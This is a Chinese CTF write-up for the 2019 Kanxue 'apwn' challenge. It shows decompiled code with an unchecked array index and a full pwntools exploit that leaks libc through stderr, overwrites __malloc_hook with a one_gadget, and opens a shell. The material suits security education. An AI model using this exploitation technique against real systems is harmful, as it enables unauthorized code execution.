2019看雪CTF晋级赛Q1——apwn

保护全开   #数组越界

程序逻辑

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   __int64 savedregs; // [rsp+10h] [rbp+0h]
 4  
 5   puts("This is a little game\n");
 6   puts("You can create a character and choose if he needs a partner.\n");
 7   while ( 1 )
 8   {
 9     menu("You can create a character and choose if he needs a partner.\n", argv);
10     read_int("You can create a character and choose if he needs a partner.\n");
11     switch ( (unsigned int)&savedregs )
12     {
13       case 1u:
14         singledog();
15         break;
16       case 2u:
17         luckydog();
18         break;
19       case 3u:
20         edit_singledog();
21         break;
22       case 4u:
23         edit_luckydog();
24         break;
25       case 5u:
26         save_singledog();
27         break;
28       case 6u:
29         exit(1);
30         return;
31       default:
32         continue;
33     }
34   }
35 }

 

在edit_singledog(),edit_luckydog()中,没有对数组的界限进行限制,所以可以对任意地址进行读写,所以泄露libc基址是最先考虑的问题。

ida查看two[-4]处即FILE *stderr

所以我这里泄露public stderr@@GLIBC_2_2_5(_IO_2_1stderr)地址进行分析。

 

 1 unsigned __int64 edit_singledog()
 2 {
 3   int v1; // [rsp+4h] [rbp-Ch]
 4   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 5 
 6   v2 = __readfsqword(0x28u);
 7   puts("which?");
 8   v1 = read_int();
 9   if ( two[v1] )           //数组越界
10   {
11     puts("Oh,singledog,changing your name can bring you good luck.");
12     read(0, two[v1], 0x20uLL);
13     printf("new name: %s", two[v1]);
14   }
15   else
16   {
17     puts("nothing here");
18   }
19   return __readfsqword(0x28u) ^ v2;
20 }

exploit

 1 from pwn import *
 2 p=process('./apwn')
 3 elf=ELF('./apwn')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5 
 6 p.recv()
 7 p.sendline('1')
 8 p.recv()
 9 p.sendline('test')
10 p.recv()
11 p.sendline('3')
12 p.recv()
13 p.sendline('-4')    
14 p.recv()
15 p.sendline('fffffff')
16 p.recv(18)
17 leak_addr=p.recv(6)   #泄露_IO_2_1stderr地址
18 _IO_2_1_stderr_addr=(u64(leak_addr.ljust(8,'\x00')))-0x83
19 libc_base=_IO_2_1_stderr_addr-libc.symbols['_IO_2_1_stderr_']
20 p.recv()
21 print 'libc_base: '+hex(libc_base)
22 
23 p.sendline('2')
24 p.recv()
25 p.sendline('xxxx')
26 p.recv()
27 p.sendline('yyyy')
28 p.recv()
29 p.sendline('3')
30 p.recv()
31 p.sendline('80')     #将one[1]修改为__malloc_hook地址
32 p.recv()
33 p.sendline(p64(libc_base+libc.symbols['__malloc_hook']))    
34 p.recv()
35 p.sendline('4')
36 p.recv()
37 p.sendline('0')
38 p.recv()
39 p.sendline('xxxx')
40 p.recv()
41 payload=p64(libc_base+0xf1147) #将__malloc_hook地址修改为one_gadget
42 p.sendline(payload)
43 p.recv()
44 p.sendline('1') #触发__malloc_hook
45 p.interactive()

 https://bbs.pediy.com/thread-250417.htm

转载于:https://www.cnblogs.com/pfcode/p/10729663.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值